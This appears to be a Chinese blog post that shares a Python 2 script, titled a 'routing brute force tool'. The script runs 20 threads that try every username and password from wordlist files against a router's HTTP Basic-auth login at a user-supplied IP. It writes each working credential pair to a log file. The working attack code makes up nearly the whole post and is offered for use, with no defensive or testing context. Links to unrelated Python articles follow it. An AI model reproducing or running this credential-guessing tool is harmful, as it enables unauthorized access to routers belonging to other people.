python实现多线程暴力破解登陆路由器功能代码分享

yipeiwu_com5年前Python基础

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....

复制代码 代码如下:

#coding:utf-8-
import base64
import urllib2
import Queue
import threading,re,sys
queue = Queue.Queue()
class Rout_thread(threading.Thread):

  def __init__(self,queue,passwd):

    threading.Thread.__init__(self)
    self.queue=queue
    self.passwordlist=passwd
  def run(self):
    self.user=queue.get()
    for self.passwd in self.passwordlist:
      request = urllib2.Request("http://"+target)
      psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd)
      request.add_header('Authorization', psw_base64)
      try:
        
        response = urllib2.urlopen(request)
        print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd)
        fp3 = open('log.txt','a')
        fp3.write(self.user+'||'+self.passwd+'\r\n')
        fp3.close()
      except urllib2.HTTPError:
        print "[-]password:%s Error!" % (self.passwd)

 

if __name__ == '__main__':
  print '''
    #######################################################
    #                                                     #
    #                Routing brute force tool             #
    #                                                     #
    #                 by:well                             #
    #                                                    #
    #######################################################
'''
  passwordlist = []
  line = 20
  threads = []
  global target
  target = raw_input("input ip:")
  fp =open("user.txt")
  fp2=open("passwd.txt")
  for user in fp.readlines():
    queue.put(user.split('\n')[0])
  for passwd in fp2.readlines():
    passwordlist.append(passwd.split('\n')[0])
    #print passwordlist
      
  fp.close()
  fp2.close()
  for i in range(line):
    a = Rout_thread(queue,passwordlist)
    a.start()
    threads.append(a)
  for j in threads:
    j.join()

相关文章

Python 中的参数传递、返回值、浅拷贝、深拷贝

1. Python 的参数传递 Python的参数传递,无法控制引用传递还是值传递。对于不可变对象(数字、字符、元组等)的参数,更类似值传递;对于可变对象(列表、字典等),更类似引用传递...

Python笔记之工厂模式

工厂模式: “工厂”即表示一个负责创建其他类型的对象的类,通常情况下,一个工厂的对象会有一个或多个方法与之关联,这些方法用于创建不同类型的对象,工厂对象会根据客户端给方法传递的不同的参数...

python删除过期log文件操作实例解析

本文研究的主要是python删除过期log文件的相关内容,具体介绍如下。 1. 用Python遍历目录 os.walk方法可以很方便的得到目录下的所有文件,会返回一个三元的tupple...

Python Nose框架编写测试用例方法

1. 关于Nose nose项目是于2005年发布的,也就是 py.test改名后的一年。它是由 Jason Pellerin 编写的,支持与 py.test 相同的测试习惯做法,但是...

Python批量按比例缩小图片脚本分享

图片太大了,上百张图用photoshop改太慢,就想到用python写个简单的批处理。功能简单就是把原图按比例缩小 复制代码 代码如下: # -*- coding: cp936 -*-&...